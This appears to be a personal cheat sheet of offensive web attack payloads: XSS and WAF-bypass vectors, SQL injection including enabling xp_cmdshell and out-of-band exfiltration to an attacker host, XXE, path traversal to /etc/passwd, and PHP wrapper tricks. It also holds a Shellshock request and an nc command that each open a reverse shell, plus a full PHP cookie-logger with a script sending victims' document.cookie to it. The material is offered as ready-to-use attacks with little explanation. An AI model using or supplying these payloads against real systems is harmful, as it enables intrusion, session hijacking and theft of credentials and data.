| <j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me! | |
| <j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)> | |
| <svg id=?p=<svg/onload=alert(1)%2B onload=location=id> | |
| <iframe id=t:alert(1) name=javascrip onload=location=name%2bid> | |
| <j onclick=location=innerHTML>javascript%26colon;alert(1)// | |
| */”<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me! | |
| */”<j”-alert(1)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me! | |
| <j 1=”*/””-alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:/*click me! | |
| <alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</alert(1)<!–> | |
| “-alert(1)<javas onclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:”click me! | |
| “-alert(1)<javascript:” onclick=location=tagName%2bpreviousSibling.nodeValue>click me! | |
| <javas onclick=location=tagName%2binnerHTML%2bURL>cript:”-‘click me!</javas>#’-alert(1) | |
| javas + cript:”-‘click me! + http://domain/page?p=%3Cjavas%20onclick=location=tagName%2binnerHTML%2bURL%3Ecript:”-‘click me!</javas>#’-alert(1) | |
| <javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1) | |
| javas + cript: + http://domain/page?p=<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1) | |
| javascript: + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1) | |
| <j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1) | |
| javascript:”-‘click me! + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:”-‘click me!</j>#’-alert(1) | |
| <j onclick=location=innerHTML%2bURL>javascript:”-‘click me!</j>#’-alert(1) | |
| javascript:”-‘ + http://domain/page?p=<javascript:”-‘ onclick=location=tagName%2bURL>click me!#’-alert(1) | |
| <javascript:”-‘ onclick=location=tagName%2bURL>click me!#’-alert(1) | |
| javascript: + http://domain/page?p=<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1) | |
| <javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1) | |
| ####################################################################### | |
| <javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>’click me!</javascript:>#’-alert(1) | |
| <javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1) | |
| ############################################################### | |
| <svg/onload=location=location.hash.substr(1)>#javascript:alert(1) | |
| <svg/onload=location=‘javas’%2B‘cript:’%2B | |
| ‘ale’%2B‘rt’%2Blocation.hash.substr(1)>#(1) | |
| <svg/onload=location=/javas/.source%2B/cript:/.source%2B | |
| /ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1) | |
| <svg/onload=location=/javas/.source%2B/cript:/.source%2B/ale/.source | |
| %2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#() | |
| <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> | |
| #################################################### | |
| GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//; | |
| ################################################ | |
| <?php header(“Access-Control-Allow-Origin: *”); ?> | |
| <img src=1 onerror=alert(document.domain)> | |
| ################################################### | |
| select if(database()='s',sleep(10),false) | |
| if(1=1) select waitfor '0.0.10' else select 'false' | |
| if(1=1) then dbms_lock.sleep(10);else dbms_lock.sleep(2);end if;end; | |
| if((select user)='a' or (select user)='d') select 1 else select 1/0 | |
| 1234' and 1=0 union select 'admin'; ' ' | |
| exec master.dbo.xp_cmdshell 'ping 127.0.0.1' | |
| exec sp_configure 'show advanced options ',1 reconfigure | |
| exec sp_configure 'xp_cmdshell' ,1 reconfigure | |
| (select load_file('\\\\'(user()),'me.com\\'))) | |
| ############################################## | |
| AND (SELECT 7697 FROM(SELECT COUNT(*),CONCAT(0x3a6d67733a,(SELECT (CASE WHEN (7697=7697) THEN 1 ELSE 0 END)),0x3a7667633a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'dsPS'='dsPS | |
| ' and (select 7697 from (select count(*),concat((0x3a6d67733a,(select if(7697=7697,sleep(10),null) ),0x3a7667633a,floor(rand(0)*3)x from information_schema.tables where table_schema=database() limit 0,1 group by x)a) and 'lo'='lo | |
| ############################################# | |
| ssl: | |
| http:// | |
| ftps:// | |
| ssl:// | |
| tls:// | |
| ssh : | |
| ssh2.shell:// | |
| ssh2.exce:// | |
| ssh2.tunnel:// | |
| ssh2.sftp:// | |
| ssh2.scp:// | |
| phar : | |
| phar:// | |
| zlib: | |
| compress.zlib:// | |
| zlib:// | |
| bzip: | |
| compress:bz2:// | |
| String filter | |
| string.rot12 | |
| string.toupper | |
| string.tolower | |
| string.strip_tags | |
| php://filter/read=convert.base64-encode/resource=config.php | |
| php://filter/write=string.*/resource=../../etc/passwd | |
| Convert.* | |
| based64-encode | |
| base64-decode | |
| quoted-printable-encode | |
| quoted-printable-decode | |
| convert.iconv.* | |
| zlib.inflate and zlib.deflate | |
| mcrypt.* and mdecrypt.* | |
| php://stdin | |
| php://stdout | |
| php://stderr | |
| php://output | |
| php://input | |
| php://filter (5.0.0) | |
| php://memory (5.1.0) | |
| php://temp (5.1.0) | |
| ############################################# | |
| union all select 1,group_concat(username), group_concat(password) from users --+ | |
| ###################################################################################### | |
| php://filter/convert.base64-encode/resource=../../../../../etc/passwd | |
| php://input | |
| expect://ls | |
| ###################################################################################### | |
| wget https://www.exploit-db.com/download/9479 --no-check-certificate | |
| and (select substring(concat(1,password),1,1) from users limit 0,1)=1 | |
| ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 | |
| 127.0.0.1;/usr/local/bin/nc 192.168.204.157 8080 -e '/bin/bash' | |
| nc 192.168.204.157 8080> 9479.c | |
| ######################### | |
| http://www.tenouk.com/Bufferoverflowc/Bufferoverflow4.html | |
| ############### | |
| http://services-ea4aead4-c189-4503-ab3a-a29db2176441.runnablecodesnippets.com/static/term.html | |
| ############################# | |
| GET /cgi-bin/status HTTP/1.1 | |
| Host: 192.168.204.147 | |
| User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.204.1/4444 0>&1 | |
| Accept: application/json, text/javascript, */*; q=0.01 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| X-Requested-With: XMLHttpRequest | |
| Referer: http://192.168.204.147/ | |
| Connection: close | |
| Cache-Control: max-age=0 | |
| ################################################################### | |
| Rules To Find XSS | |
| Rule 1: injecting haramless HTML | |
| <a>,<u> | |
| Rule 2: injecting HTML Entities | |
| <b> | |
| \u003b\u00 | |
| Rule 3 :injecting Script Tag | |
| Rule 4: Testing For Recursive Filters | |
| Rule 5: injecting Anchor Tag | |
| Rule 6: Testing For Event Handlers | |
| Rule 7 : Input Less Common Event Handlers | |
| Rule 8: Testing With SRC Attrubute | |
| Rule 9: Testing With Action Attrubute | |
| Rule 10: Injecting HTML 5 Based Payload | |
| iptables -A INPUT -s 41.223.201.246 -j DROP | |
| ##################################################################### | |
| <!ENTITY % payload SYSTEM "file:///C:/windows/win.ini"> | |
| <!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.1.16:8011/?%payload;'> "> | |
| ################################################################### | |
| ${@print(system("pwd"))} | |
| concat("<?php system('wget -O shell.php');?>,"INTO+OUTFILE '/owaspbwa/owaspbricks-svn/content-1/Sh.php' | |
| ) | |
| ?xss=x' type='image' src='x' onerror='alert(1) | |
| INTO+OUTFILE '/owaspbwa/owaspbricks-svn/content-1/Sh.php' | |
| '-->">'>'"<script>prompt(document.domain)</script>;" f0r=TRUE | |
| data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3 | |
| O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";} | |
| http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=%23%27/ONCLICK=%27javascript:prompt%28document.domain%29 | |
| <svg/onload=location=/java/.source+/script/.source+location.h | |
| ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has | |
| h[3]//#:() | |
| <script>eval(‘al’+’ert(1)’);</script> | |
| <script>’alert(1)’.replace(/.+/,eval)</script> | |
| <script>function::[‘alert’](1)</script> | |
| <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script> | |
| <script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script> | |
| <script>eval(‘a\l\ert\(1\)’);</script> | |
| <script>eval(‘a\u006cert(1)’);</script> | |
| <script>eval(‘a\x6cert(1)’);</script> | |
| <script>eval(‘a\154ert(1)’);</script> | |
| <img onerror=alert(1) src=a> | |
| <img onerror=alert(1) src=a> | |
| <img onerror=alert(1) src=a> | |
| <img onerror=alert(1) src=a> | |
| <img onerror=alert(1) src=a> | |
| <img onerror=alert(1) src=a> | |
| <img onerror=alert(1) src=a> | |
| <img/onerror=alert(1) src=a> | |
| <img[%09]onerror=alert(1) src=a> | |
| <img[%0d]onerror=alert(1) src=a> | |
| <img[%0a]onerror=alert(1) src=a> | |
| <img/”onerror=alert(1) src=a> | |
| <img/’onerror=alert(1) src=a> | |
| <img/anyjunk/onerror=alert(1) src=a> | |
| ////////////////////////////////////////////////// | |
| 1- | |
| <script>alert("HI")</script> | |
| 2- | |
| <Script>alert("HI")</scriPt> | |
| case | |
| 3- | |
| hi<script>lo | |
| view in page | |
| 4- | |
| html tage | |
| <a href=" " onclick='alert("XSS")'> | |
| 5- | |
| <script>document.write("hi")</script> | |
| 6- | |
| <script>alert("H")</script><a href=" "onclick='alert("Fuck")'> | |
| 7- | |
| https://www.youtube.com/watch?v=J3pE-V5g9f0 | |
| 8- | |
| 9- | |
| dom | |
| #/<script>alert(1)</script> | |
| ########################################################################################### | |
| <script>alert(String.fromCharCode(88,83,83))</script> | |
| ########################################################################################### | |
| 50 awesome XSS vectors that I have tweeted (@soaj1664ashar) over time. Enjoy! Now you can bypass any filter with the help of these full baked vectors :-) | |
| 1) <a href="javascript:\u0061le%72t(1)"><button> | |
| 2) <div onmouseover='alert(1)'>DIV</div> | |
| 3) <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> | |
| 4) <a href="jAvAsCrIpT:alert(1)">X</a> | |
| 5) <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> | |
| 6) <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> | |
| 7) <var onmouseover="prompt(1)">On Mouse Over</var> | |
| 8) <a href=javascript:alert(document.cookie)>Click Here</a> | |
| 9) <img src="/" =_=" title="onerror='prompt(1)'"> | |
| 10) <%<!--'%><script>alert(1);</script --> | |
| 11) <script src="data:text/javascript,alert(1)"></script> | |
| 12) <iframe/src \/\/onload = prompt(1) | |
| 13) <iframe/onreadystatechange=alert(1) | |
| 14) <svg/onload=alert(1) | |
| 15) <input value=<><iframe/src=javascript:confirm(1) | |
| 16) <input type="text" value=``<div/onmouseover='alert(1)'>X</div> | |
| 17) http://www.<script>alert(1)</script .com | |
| 18) <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> | |
| 19) <svg><script ?>alert(1) | |
| 20) <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> | |
| 21) <img src=`xx:xx`onerror=alert(1)> | |
| 22) <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> | |
| 23) <meta http-equiv="refresh" content="0;javascript:alert(1)"/> | |
| 24) <math><a xlink:href="//jsfiddle.net/t846h/">click | |
| 25) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> | |
| 26) <svg contentScriptType=text/vbs><script>MsgBox+1 | |
| 27) <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a | |
| 28) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> | |
| 29) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ | |
| 30) <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F | |
| 31) <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script | |
| 32) <object data=javascript:\u0061le%72t(1)> | |
| 33) <script>+-+-1-+-+alert(1)</script> | |
| 34) <body/onload=<!-->
alert(1)> | |
| 35) <script itworksinallbrowsers>/*<script* */alert(1)</script | |
| 36) <img src ?itworksonchrome?\/onerror = alert(1) | |
| 37) <svg><script>//
confirm(1);</script </svg> | |
| 38) <svg><script onlypossibleinopera:-)> alert(1) | |
| 39) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe | |
| 40) <script x> alert(1) </script 1=2 | |
| 41) <div/onmouseover='alert(1)'> style="x:"> | |
| 42) <--`<img/src=` onerror=alert(1)> --!> | |
| 43) <script/src=data:text/javascript,alert(1)></script> | |
| 44) <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button> | |
| 45) "><img src=x onerror=window.open('https://www.google.com/');> | |
| 46) <form><button formaction=javascript:alert(1)>CLICKME | |
| 47) <math><a xlink:href="//jsfiddle.net/t846h/">click | |
| 48) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object> | |
| 49) <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> | |
| 50) <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> | |
| "><script>alert("XSS")</script> | |
| "><script>alert(String.fromCharCode(88,83,83))</script> | |
| '><script>alert("XSS")</script> | |
| '><script>alert(String.fromCharCode(88,83,83))</script> | |
| <ScRIPt>aLeRT("XSS")</ScRIPt> | |
| <ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt> | |
| "><ScRIPt>aLeRT("XSS")</ScRIPt> | |
| "><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt> | |
| '><ScRIPt>aLeRT("XSS")</ScRIPt> | |
| '><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt> | |
| </script><script>alert("XSS")</script> | |
| </script><script>alert(String.fromCharCode(88,83,83))</script> | |
| "/><script>alert("XSS")</script> | |
| "/><script>alert(String.fromCharCode(88,83,83))</script> | |
| '/><script>alert("XSS")</script> | |
| '/><script>alert(String.fromCharCode(88,83,83))</script> | |
| </SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT> | |
| </SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83)) | |
| </SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT> | |
| </SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| ";alert("XSS");" | |
| ";alert(String.fromCharCode(88,83,83));" | |
| ';alert("XSS");' | |
| ';alert(String.fromCharCode(88,83,83));' | |
| ";alert("XSS") | |
| ";alert(String.fromCharCode(88,83,83)) | |
| ';alert("XSS") | |
| ';alert(String.fromCharCode(88,83,83)) | |
| ########################################################################################### | |
| CookieLog.txt | |
| CookieLogger.php | |
| <?php | |
| /* | |
| * Created on 16. april. 2007 | |
| * Created by Audun Larsen ([email protected]) | |
| * | |
| * Copyright 2006 Munio IT, Audun Larsen | |
| * | |
| * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, | |
| * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS | |
| * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE | |
| * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES | |
| * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; | |
| * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, | |
| * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, | |
| * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | |
| */ | |
| if(strlen($_SERVER['QUERY_STRING']) > 0) { | |
| $fp=fopen('./CookieLog.txt', 'a'); | |
| fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n"); | |
| fclose($fp); | |
| } else { | |
| ?> | |
| var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>'; | |
| // == | |
| // URLEncode and URLDecode functions | |
| // | |
| // Copyright Albion Research Ltd. 2002 | |
| // http://www.albionresearch.com/ | |
| // | |
| // You may copy these functions providing that | |
| // (a) you leave this copyright notice intact, and | |
| // (b) if you use these functions on a publicly accessible | |
| // web site you include a credit somewhere on the web site | |
| // with a link back to http://www.albionresearch.com/ | |
| // | |
| // If you find or fix any bugs, please let us know at albionresearch.com | |
| // | |
| // SpecialThanks to Neelesh Thakur for being the first to | |
| // report a bug in URLDecode() - now fixed 2003-02-19. | |
| // And thanks to everyone else who has provided comments and suggestions. | |
| // == | |
| function URLEncode(str) | |
| { | |
| // The Javascript escape and unescape functions do not correspond | |
| // with what browsers actually do... | |
| var SAFECHARS = "0123456789" + // Numeric | |
| "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic | |
| "abcdefghijklmnopqrstuvwxyz" + | |
| "-_.!~*'()"; // RFC2396 Mark characters | |
| var HEX = "0123456789ABCDEF"; | |
| var plaintext = str; | |
| var encoded = ""; | |
| for (var i = 0; i < plaintext.length; i++ ) { | |
| var ch = plaintext.charAt(i); | |
| if (ch == " ") { | |
| encoded += "+"; // x-www-urlencoded, rather than %20 | |
| } else if (SAFECHARS.indexOf(ch) != -1) { | |
| encoded += ch; | |
| } else { | |
| var charCode = ch.charCodeAt(0); | |
| if (charCode > 255) { | |
| alert( "Unicode Character '" | |
| + ch | |
| + "' cannot be encoded using standard URL encoding.\n" + | |
| "(URL encoding only supports 8-bit characters.)\n" + | |
| "A space (+) will be substituted." ); | |
| encoded += "+"; | |
| } else { | |
| encoded += "%"; | |
| encoded += HEX.charAt((charCode >> 4) & 0xF); | |
| encoded += HEX.charAt(charCode & 0xF); | |
| } | |
| } | |
| } // for | |
| return encoded; | |
| }; | |
| cookie = URLEncode(document.cookie); | |
| html = '<img src="'+ownUrl+'?'+cookie+'">'; | |
| document.write(html); | |
| < ?php | |
| } | |
| ?> | |
| ###################### | |
| <script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script> | |
| ####################### | |
| "{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}" | |
| " onmouseover=location='javascript:alert\x28document.domain\x29' | |
| <script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script> | |
| [ Imperva Incapsula] | |
| 1- | |
| %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 | |
| 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 | |
| 26%2523x29%3B%22%3E | |
| 2- | |
| <img/src="x"/onerror="[JS-F**K Payload]"> | |
| [WebKnight] | |
| 1- | |
| <details ontoggle=alert(1)> | |
| 2- | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)"> | |
| [ F5 Big IP] | |
| 1- | |
| <body style="height:1000px" onwheel="[DATA]"> | |
| 2- | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]"> | |
| 3- | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k | |
| Payload]"> | |
| 4- | |
| <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)"> | |
| <div contextmenu="xss">Right-Click Here<menu id="xss" | |
| onshow="prom%25%32%33%25%32%36x70;t(1)"> | |
| [PHP-IDS] | |
| 1- | |
| <svg+onload=+"[DATA]" | |
| 2- | |
| <svg+onload=+"aler%25%37%34(1)" | |
| [Mod-Security] | |
| 1- | |
| <a href="j[785 bytes of (
	)]avascript:alert(1);">XSS</a> | |
| 2- | |
| ¼script¾alert(¢xss¢)¼/script¾ | |
| 3- | |
| <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)> | |
| [Quick Defense] | |
| 1- | |
| <input type="search" onsearch="aler\u0074(1)"> | |
| 2- | |
| <details ontoggle="aler\u0074(1)"> | |
| [ Sucuri WAF] | |
| 1- | |
| ¼script¾alert(¢xss¢)¼/script¾ | |
| Name=Matthew’%20union%20select%20table_name,column_name,null,null, | |
| null%20from%20information_schema.columns-- | |
| Name=Matthew’%20UNION%20select%20username,password,null,null,null%20 | |
| from%20users-- | |
| ms-sql | |
| insert into openrowset(‘SQLOLEDB’, | |
| ‘DRIVER={SQL Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein’, | |
| ‘select * from foo’) values (@@version) | |
| Oracle | |
| /employees.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’|| | |
| (SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))-- | |
| DNS | |
| /employees.asp?EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD% | |
| 20FROM%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’) | |
| Oracle 11g | |
| DBMS_PIPE.RECEIVE_MESSAGE([INT],5) | |
| SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE | |
| NAME=’SYS’)||’.mdsec.net’,80) | |
| mysql | |
| select * into outfile ‘\\\\mdattacker.net\\share\\output.txt’ from users; | |
| ///////////////////// | |
| ' or '1'='1 | |
| ' or 'x'='x | |
| ' or 0=0 -- | |
| " or 0=0 -- | |
| or 0=0 -- | |
| ' or 0=0 # | |
| " or 0=0 # | |
| or 0=0 # | |
| ' or 'x'='x | |
| " or "x"="x | |
| ') or ('x'='x | |
| ' or 1=1-- | |
| " or 1=1-- | |
| or 1=1-- | |
| ' or a=a-- | |
| " or "a"="a | |
| ') or ('a'='a | |
| ") or ("a"="a | |
| hi" or "a"="a | |
| hi" or 1=1 -- | |
| hi' or 1=1 -- | |
| 'or'1=1' | |
| /////////////////// Xpath Ijection | |
| 'or substring(name(parent::*[position()=1]),2,1='a | |
| //address[position()=3]/child::node[position()=6]/text() | |
| ‘ or substring(//address[position()=1]/child::node()[position()=6]/ | |
| text(),1,1)= ‘M’ and ‘a’=’a | |
| //////////////////////////////////// | |
| [URL-encode] | |
| Dot — %2e | |
| Forward slash — %2f | |
| Backslash — %5c | |
| [16-bit encode] | |
| Dot — %u002e | |
| Forward slash — %u2215 | |
| Backslash — %u2216 | |
| [double URL-encode] | |
| Dot — %252e | |
| Forward slash — %252f | |
| Backslash — %255c | |
| [overlong UTF-8] | |
| Dot — %c0%2e, %e0%40%ae, %c0ae | |
| Forward slash — %c0%af, %e0%80%af, %c0%2f | |
| Backslash — %c0%5c, %c0%80%5c | |
| //////////////////// | |
| SMTP Ijection | |
| <youremail>%0aCc:<youremail> | |
| <youremail>%0d%0aCc:<youremail> | |
| <youremail>%0aBcc:<youremail> | |
| <youremail>%0d%0aBcc:<youremail> | |
| %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<y | |
| ouremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aS | |
| ubject:+test%0afoo%0a%2e%0a | |
| %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0 | |
| d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>% | |
| 0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0 | |
| afoo%0d%0a%2e%0d%0a | |
| ////////////////////////// | |
| XXE Injection | |
| <?xml version="1.0"?><!DOCTYPE xxx[<!ENTITY fuck SYSTEM "file:///etc/passwd">]><xxx><text>&fuck;</text></xxx> | |
| /owaspbwa/owaspbricks-svn/content-1/Sh.php | |
| http://isecur1ty-challenges.com/xss/beginner/xss3.php?xss=%27%20%20onerror=%27javascript:prompt%28document.domain%29%20%27accept=%27image/*%20%27value=%27XSS%20%20%27formaction=%27javascript:prompt%28document.domain%29%20%20%27type=%27submit | |
| http://isecur1ty-challenges.com/xss/beginner/xss3.php?xss=%27%20%20autofocus=%27javascript:prompt%28document.domain%29 | |
| [email protected] | |
| "}]';alert(xss);// Json Attack | |
| xss=’style=’border:solid’onmouseover=’javascript:alert(document.domain)’x | |
| http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=hello’/ONCLICK=’self.alert(document.domain)xx | |
| http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=’onClick=’;alert(document.domain);xx | |
| http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=’onClick=’!alert(1234) | |
| 1%27%20or%201=IF%28LENGTH%28ASCII%28%28SELECT%20USER%28%29%29%29%29=3,%201,%200%29%20--%20// | |
| <?xml version="1.0" encoding="ISO-8859-1"?> | |
| <!DOCTYPE foo [ | |
| <!ELEMENT foo ANY > | |
| <!ENTITY xxe SYSTEM "http://xxxxx:212/">]><foo>&xxe;</foo> | |
| gopher://x.x.x.x:8080/GET /1.gif | |
| '"><img src=x onerror=prompt(document.domain);> | |
| '"><img src=x onerror=eval(prompt(22222))> | |
| %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd | |
| “><img src=/ onerror=alert(1)> | |
| %23%E2%80%9C%3E%3Cimg+src%3D/+onerror%3Dalert%281%29%3E | |
| <SCRIPT>alert('fy7sdufsuidfhuisdf');</SCRIPT> | |
| '';!--"<fy7sdufsuidfhuisdf>=&{()} | |
| "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// | |
| <SCRIPT SRC=http://ha.ckers.org/fy7sdufsuidfhuisdf.js></SCRIPT> | |
| <IMG SRC="javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IMG SRC=javascript:alert('fy7sdufsuidfhuisdf')> | |
| <IMG SRC=JaVaScRiPt:alert('fy7sdufsuidfhuisdf')> | |
| <IMG SRC=javascript:alert("fy7sdufsuidfhuisdf")> | |
| <IMG SRC=`javascript:alert("RSnake says, 'fy7sdufsuidfhuisdf'")`> | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| SRC=
<IMG 6;avascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC="jav ascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IMG SRC="jav	ascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IMG SRC="jav
ascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IMG SRC="jav
ascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IMG SRC="  javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a> | |
| <IMG SRC=java%00script:alert(\"fy7sdufsuidfhuisdf\")> | |
| <SCR%00IPT>alert(\"fy7sdufsuidfhuisdf\")</SCR%00IPT> | |
| <SCRIPT/fy7sdufsuidfhuisdf SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT SRC=http://ha.ckers.org/fy7sdufsuidfhuisdf.js?<B> | |
| <IMG SRC="javascript:alert('fy7sdufsuidfhuisdf')" | |
| <SCRIPT>a=/fy7sdufsuidfhuisdf/ | |
| \";alert('fy7sdufsuidfhuisdf');// | |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <BODY BACKGROUND="javascript:alert('fy7sdufsuidfhuisdf')"> | |
| <BODY ONLOAD=alert('fy7sdufsuidfhuisdf')> | |
| <IMG DYNSRC="javascript:alert('fy7sdufsuidfhuisdf')"> | |
| <IMG LOWSRC="javascript:alert('fy7sdufsuidfhuisdf')"> | |
| <BGSOUND SRC="javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <BR SIZE="&{alert('fy7sdufsuidfhuisdf')}"> | |
| <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> | |
| <LINK REL="stylesheet" HREF="javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <LINK REL="stylesheet" HREF="http://ha.ckers.org/fy7sdufsuidfhuisdf.css"> | |
| <STYLE>@import'http://ha.ckers.org/fy7sdufsuidfhuisdf.css';</STYLE> | |
